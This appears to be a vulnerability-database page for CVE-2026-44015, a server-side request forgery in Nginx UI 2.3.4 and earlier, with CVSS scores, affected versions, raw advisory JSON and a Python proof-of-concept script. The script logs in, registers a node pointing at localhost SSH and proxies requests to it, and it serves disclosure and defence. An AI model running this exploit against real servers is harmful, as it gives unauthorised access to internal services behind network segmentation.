Security Vulnerability Report
中文
CVE-2026-44015 CVSS 8.5 HIGH

CVE-2026-44015

Published: 2026-05-12 22:16:35
Last Modified: 2026-05-14 22:16:44

Description

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* - VULNERABLE
Nginx UI <= 2.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://vulnerable-nginx-ui.com" USERNAME = "attacker" PASSWORD = "password" INTERNAL_TARGET = "http://127.0.0.1:22" # Targeting internal SSH session = requests.Session() # Step 1: Authenticate to obtain a valid session login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", json=login_payload) # Step 2: Create a malicious cluster node pointing to internal address node_payload = { "name": "Internal Node", "url": INTERNAL_TARGET } create_node_resp = session.post(f"{TARGET_URL}/api/nodes", json=node_payload) node_id = create_node_resp.json().get('id') # Assuming API returns ID # Step 3: Send SSRF request using the X-Node-ID header # The Proxy middleware forwards the request to the node's URL headers = { "X-Node-ID": str(node_id) } # Sending a request that will be proxied to 127.0.0.1:22 ssrf_resp = session.get(f"{TARGET_URL}/api/some-endpoint", headers=headers) print(f"Response Status: {ssrf_resp.status_code}") print(f"Response Body: {ssrf_resp.text[:200]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44015", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:35.330", "lastModified": "2026-05-14T22:16:43.797", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.4", "matchCriteriaId": "5E13F7C7-BE86-435B-A796-C285D9885954"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}